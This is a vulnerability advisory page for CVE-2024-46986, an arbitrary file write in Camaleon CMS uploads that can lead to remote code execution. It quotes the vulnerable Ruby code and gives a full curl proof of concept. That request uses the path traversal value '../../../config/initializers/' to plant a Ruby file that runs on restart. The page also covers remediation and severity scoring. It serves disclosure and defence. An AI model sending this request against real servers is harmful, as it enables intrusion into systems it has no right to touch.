Advisory details:
github_osv / GHSA-wmjg-vqhv-q5p5
| Advisory ID | github_osv/GHSA-wmjg-vqhv-q5p5 |
| Aliases |
CVE-2024-46986
|
| Summary | Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182) An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. Once a user upload is started via the [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87) method, the file_upload and the folder parameter ```ruby def upload(settings = {}) params[:dimension] = nil if params[:skip_auto_crop].present? f = { error: 'File not found.' } if params[:file_upload].present? f = upload_file(params[:file_upload], { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions], thumb_size: params[:thumb_size] }.merge(settings)) end [..] end ``` are passed to the [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24) method. Inside that method the given settings are [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42) with some presets. The file format is [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62) the formats settings we can override with the formats parameters. ```ruby # formats validations return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format( uploaded_io.path, settings[:formats] ) ``` Our given folder is then [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74) to the Cama_uploader: ```ruby key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] }) ``` In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77) method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system: ```ruby def add_file(uploaded_io_or_file_path, key, args = {}) [..] upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) } [..] end ``` Proof of concept Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below) curl --path-as-is -i -s -k -X $'POST' \ -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \ -b $'auth_token=[..]; _cms_session=[..]' \ --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \ $'https://<camaleon-host>/admin/media/upload?actions=false' Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app: puts "=================================" puts "=================================" puts "= COMPROMISED =" puts "=================================" puts "=================================" Once Camaleon CMS is restarted following output will be visible in the log: ================================= ================================= = COMPROMISED = ================================= ================================= Impact This issue may lead up to Remote Code Execution (RCE) via arbitrary file write. Remediation Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths. See also: [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/) [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json |
| cvssv4 | 8.7 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2024-09-18T19:00:17Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2024/46xxx/CVE-2024-46986.json
Source Advisory: vulnrichment/CVE-2024-46986
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]